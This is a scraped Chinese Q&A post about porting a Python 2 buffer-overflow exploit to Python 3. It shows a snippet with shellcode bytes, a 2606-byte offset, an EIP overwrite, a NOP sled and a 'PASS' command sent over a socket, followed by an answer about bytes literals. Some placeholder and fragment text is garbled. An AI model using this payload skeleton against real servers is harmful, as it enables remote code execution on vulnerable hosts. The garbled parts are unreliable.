我意识到python3的漏洞开发并不像使用python2那样直接。在
据我所知,这主要是由于socket库和添加的byte
数据类型造成的。在
例如,我不知道如何将以下代码转换为Python 3代码:
--- SNIP ---
shellcode = ""
shellcode += "\x89\xe2\xd9\xcf\xd9\x72\xf4\x5a\x4a\x4a\x4a\x4a\x4a"
--- SNIP ---
offset = "A" * 2606
eip = "\x43\x62\x4b\x5f"
nop = "\x90" * 16
padding = "C"
buff = offset + eip + nop + shellcode + padding * (424 - 351 - 16)
--- SNIP ---
bytes_sent = sock.send("PASS {}\r\n".format(buff))
--- SNIP ---
我尝试了以下方法:
^{pr2}$问题是\x90
在内存中变成了{
我想学习在Python中正确地执行此操作的方法
python2代码基本上构建了一个字节字符串。在python3中,
'...'
字符串文本将构建Unicode字符串对象。在在Python3中,您需要
bytes
对象,可以使用b'...'
字节字符串文本来创建:bytes
没有.format()
方法,但%
格式化操作仍然可用。在相关问题 更多 >
编程相关推荐